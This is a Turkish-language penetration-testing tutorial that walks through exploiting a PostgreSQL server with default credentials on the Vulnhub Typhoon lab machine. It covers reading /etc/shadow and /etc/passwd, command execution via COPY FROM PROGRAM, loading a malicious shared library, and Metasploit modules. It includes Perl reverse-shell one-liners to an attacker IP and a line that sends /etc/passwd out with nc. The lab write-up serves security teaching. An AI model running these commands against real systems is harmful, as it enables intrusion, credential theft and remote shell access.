Güvenilir Olarak Yapılandırılmamış PostgreSQL Servisinin İstismarı

0
850
views
Veritabanı sızma testleri sırasında tespit edilen zafiyetlerin istismarı ile işletim sistemi üzerinde komut çalıştırılabilir. Bu yazıda, Typhoon: 1.02 sanal makinesi üzerinde güvenilir olarak yapılandırılmayan PostgreSQL servisinin istismar işlemleri incelenecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan Typhoon: 1.02 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/typhoon-102,267/

PostgreSQL başta Linux olmak üzere, Windows ve MacOS gibi işletim sistemlerinde de çalışan açık kaynak kodlu ilişkisel veritabanıdır. Bu yazı kapsamında postgresql servisinin istismarı gerçekleştirilecektir.

IP adresi 192.168.245.133 olan hedef sanal makinedeki PostgreSQL servisinin kimlik bilgileri aşağıdaki gibi elde edilmiştir.

  • Kullanıcı Adı: postgres (PostgreSQL veritabanındaki en yetkili hesap)
  • Parola: postgres

 

1) İşletim Sistemi Üzerinde Dizin Listeme ve Dosya Okuma İşlemleri

PostgreSQL veritabanı üzerinde oturum elde ettikten sonra sistem fonksiyonları kullanılarak bir takım dizin listeleme ve dosya okuma işlemleri gerçekleştirilebilir.

psql -h 192.168.245.133 -U postgres

select pg_ls_dir(‘./’);
select pg_read_file(‘PG_VERSION’, 0, 200);

 

Ancak işletim sistemindeki her dosya bu fonksiyonlar ile doğrudan listelenemeyebilir veya okunamayabilir. Bunun sebeplerinden birisi veritabanı servis hesabının hedef nesne dizin/dosya üzerinde (/etc/shadow gibi) okuma/listeleme yetkisinin olmamasıdır. İkinci bir ihtimal de, kullanılan fonksiyonlar ile istenilen işlemlerin (/etc/passwd dosyasını okumak) yapılamaması ve “ERROR: absolute path not allowed” şeklinde bir hata alınmasıdır.

select pg_ls_dir(‘/home/’);

select pg_read_file(‘/etc/shadow’,0,100);
select pg_read_file(‘/etc/passwd’,0,100);
select pg_read_file(‘../../../../../../etc/passwd’,0,100);

pg_ls_dir() fonksiyonu ile gerçekleştirilemeyen işletim sistemi dosyalarını listeleme işlemi aşağıdaki gibi gerçekleştirilebilir.

CREATE TABLE Dosyalar(DosyaAdi text);
\dt
COPY Dosyalar FROM PROGRAM ‘find /etc -maxdepth 1 -type f -printf “%f\n”‘;
SELECT * FROM Dosyalar ORDER BY DosyaAdi ASC LIMIT 10;

 

Not: PostgreSQL 9.3 öncesinde plperlu, plpgsql gibi bir betik dili uzantısı yüklemek gerekmektedir. Ancak hedef sanal makinedeki PostgreSQL sürümü 9.3 olduğu için betik kullanımına gerek duyulmamıştır.

pg_read_file() fonksiyonu, $PGDATA dizini içerisindeki verilerin okunması için kullanılır. pg_read_file() fonksiyonu ile gerçekleştirilemeyen işletim sistemi dosyalarının içeriğini okuma işlemi ise, aşağıdaki gibi gerçekleştirilebilir.

SHOW data_directory;
CREATE TABLE DosyaIcerigi(VERI TEXT);
\dt
COPY DosyaIcerigi FROM ‘/etc/passwd’;
SELECT * FROM DosyaIcerigi LIMIT 10 OFFSET 0;

 

Dosya okuma işlemi için MSF postgres_readfile auxiliary modülü de kullanılabilir.

use auxiliary/admin/postgres/postgres_readfile
show options
set RFILE /etc/lsb-release
set RHOSTS 192.168.245.133

 

Modül çalıştırıldığında PostgreSql servis kullanıcısının yetkileri dahilinde dosya okuma işlemleri gerçekleştirilebilir.

run
set RFILE /etc/shadow
run

 

2) İşletim Sistemi Üzerinde Dosyaya Yazdırma İşlemleri

PostgreSQL veritabanı üzerinde oturum elde ettikten sonra sistem fonksiyonları kullanılarak dosyaya yazdırma işlemleri gerçekleştirilebilir.

CREATE TABLE DosyayaYazdirma (Metin TEXT);
\dt
INSERT INTO DosyayaYazdirma(Metin) VALUES(‘Buraya istenilen ifadeler eklenebilir’);
SELECT * FROM DosyayaYazdirma;
COPY DosyayaYazdirma(Metin) TO ‘/tmp/YeniDosya.txt’;

 

3) “COPY TO/FROM PROGRAM” Özelliği İle Komut Satırı Erişimi Elde Etme

Veritabanı üzerinde yetkili bir kullanıcı (“postgres” hesabı gibi) veya “pg_execute_server_program” rolüne sahip olan standart yetkilerdeki bir veritabanı hesabı; PostgreSQL 9.3 ile gelen “COPY TO/FROM PROGRAM” özelliğini kullanarak işletim sistemi üzerinde komut çalıştırabilir. Bu zafiyet CVE-2019–9193 ID’si ile bilinmekte ve Postgresql 11.2 sürümüne dek devam etmektedir.

Zafiyeti istismar etmek için aşağıdaki komutlar kullanılabilir.

CREATE TABLE KomutCalistirma(CalistirilacakKomut text);
COPY KomutCalistirma FROM PROGRAM ‘ls /home’;
SELECT * FROM KomutCalistirma;

 

Bu zafiyeti kullanılarak ters bağlantı da elde edilebilir.

COPY KomutCalistirma FROM PROGRAM ‘perl -MIO -e ”$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.245.130:3333″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;”’;

nc -nlvp 3333
pwd
ls

 

Zafiyeti sömürmek için MSF postgres_copy_from_program_cmd_exec istismar modülü de kullanılabilir.

use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
show options

 

Modülün kullanımı ile otomatik olarak komut satırı erişimi elde edilir.

set LHOST 192.168.245.130
set RHOSTS 192.168.245.133
id
uname -a

 

4) Büyük Nesneler Desteğini Kullanarak Komut Satırı Erişimi Elde Etme

PostgreSQL’de Büyük Nesneler (Large Onjects) özelliği kötüye kullanılarak da işletim sistemi üzerinde komut çalıştırılabilir.

Bu amaçla pg_exec isimli özel bir kütüphane (veritabanı sürümüne bağımlılığı vardır) kullanılabilir. Hedef sanal makinedeki PostgreSQL veritabanının sürümü 9.3 olduğu için bu sürüme ait dosya indirilmiştir.

mkdir Dizin
cd Dizin
wget https://github.com/Dionach/pgexec/raw/master/libraries/pg_exec-9.3.so -q
ls -la pg_exec-9.3.so
file pg_exec-9.3.so

 

PostgreSQL’deki Büyük Nesneler desteği sayesinde, nesne olarak veritabanında yüklenen veriler, işletim sistemine (veritabanı servisinin yetkisi olduğu bir dizine) yazdırılabilir. Bu amaçla öncelikle yeni bir tane Büyük Nesne oluşturulur ve bu nesnenin ID bilgisi (aşağıdaki örnekte “24748”) elde edilir.

pwd
psql -h 192.168.245.133 -U postgres

select lo_creat(-1);

split -b 2048 pg_exec-9.3.so
ls -la
file *

 

Veri boyutu 2 Kilobayt’tan küçük olması gerektiği ve indirilen dosya da 8 MB kadar olduğu için indirilen dosya parçalanmıştır. Her bir parçanın “x” karakteri ile başladığı görülmektedir. Bu dosyaların herbirisi veritabanına yazılacaktır. Bu amaçla hazırlanan sql komutu aşağıdaki gibi elde edilir.

CNT=0; for f in x*; do echo ‘\set c’${CNT}’ base64 -w 0 '${f}'‘; echo ‘INSERT INTO pg_largeobject (loid, pageno, data) values (‘24748’, ‘${CNT}’, decode(:'”‘”c${CNT}”‘”‘, ‘”‘”‘base64′”‘”‘));’; CNT=$(( CNT + 1 )); done > YuklenecekDosya.sql
cat YuklenecekDosya.sql

 

Not: “24748” değeri, lo_creat() fonksiyonu ile elde edilen büyük nesnenin OID değeridir. Bu değer her bir büyük veri alanı için değişkendir.

Bu sql komutları ile veritabanına yazılır ve yeni bir fonksiyon oluşturularak, yüklenen zararlı amaçlı kütüphane yardımcı ile işletim sistemi üzerinde komut çalıştırılabilir.

pwd
psql -h 192.168.245.133 -U postgres

\include YuklenecekDosya.sql
select lo_export(24748, ‘/tmp/pg_exec.so’);
CREATE FUNCTION KomutCalistir(cstring) RETURNS int AS ‘/tmp/pg_exec.so’, ‘pg_exec’ LANGUAGE ‘c’ STRICT;

 

Not:include” komutunun beklendiği gibi çalışması için; “psql” ile komutunun çalıştırıldığı dizinin, “YuklenecekDosya.sql” dosyasının bulunduğu dizin ile aynı olması gerekmektedir.

Oluşturulan yeni fonksiyon kullanılarak işletim sisteminde komut çalıştırılabilir ve ters bağlantı elde edilebilir.

select KomutCalistir(‘perl -MIO -e ”$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.245.130:5555″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;”’);

nc -nlvp 3333

id
pgrep -f perl
ps -ef | grep 5937

 

5) UDF Kullanımı ile Komut Satırı Erişimi Elde Etme

PostgreSQL üzerindeki bir diğer zafiyet de, kullanıcı tanımlı fonksiyonlar (UDF / User Defined Functions) ile /tmp gibi bir dizine yazma yetkisinin verilmesidir. Bu zafiyet CVE-2007-3280 olarak belirtilmektedir. Bu zafiyetin otomatik olarak istismarı için MSF postgres_payload istismar modülü kullanılabilir.

use exploit/linux/postgres/postgres_payload
show options
set RHOSTS 192.168.245.133
set VERBOSE true

 

Ancak hedef sanal makinede bu modül çalıştırılamamıştır.

run

 

Çalışması beklenen komut yaklaşık olarak aşağıdaki gibidir.

CREATE OR REPLACE FUNCTION KomutCalistir(cstring) RETURNS int AS ‘/lib/x86_64-linux-gnu/libc.so.6’, ‘KomutCalistir’ LANGUAGE ‘c’ STRICT;
SELECT KomutCalistir(‘cat /etc/passwd | nc SaldirganIP SaldirganPort’);

Metasploitable – 2 sanal makinesinde ise bu istismar modülü çalıştırılabilmiştir.

use exploit/linux/postgres/postgres_payload
set RHOSTS 192.168.245.134
run

 

6) Harici Betik Dilleri Kullanımı ile Komut Satırı Erişimi Elde Etme

PostgreSQL 8 sürümü sonrasında; Perl veya Python gibi harici betik dillerinin çalıştırılmasına izin verildiği durumda, veritabanı üzerindeyken sunucu üzerinde komut çalıştırılabilir.

Bu zafiyetin otomatik olarak istismarı için MSF postgres_createlang istismar modülü kullanılabilir.

use exploit/multi/postgres/postgres_createlang
show options
set RHOSTS 192.168.245.133
set VERBOSE true

 

Ancak hedef sanal makinede ve Metasploitable – 2 sanal makinesinde harici betiklere erişime izin verilmediği için bu modül çalıştırılamamıştır.

run

 

 

Kaynaklar:

http://www.debugger.wiki/article/html/1557507605330912 VEYA https://www.anquanke.com/post/id/168877
https://github.com/muratyesiltepe/typhoon-vm/blob/master/writeup.md
https://wiki.pausiber.xyz/typhoon/

6 Ways to Hack PostgresSQL Login


https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9
https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.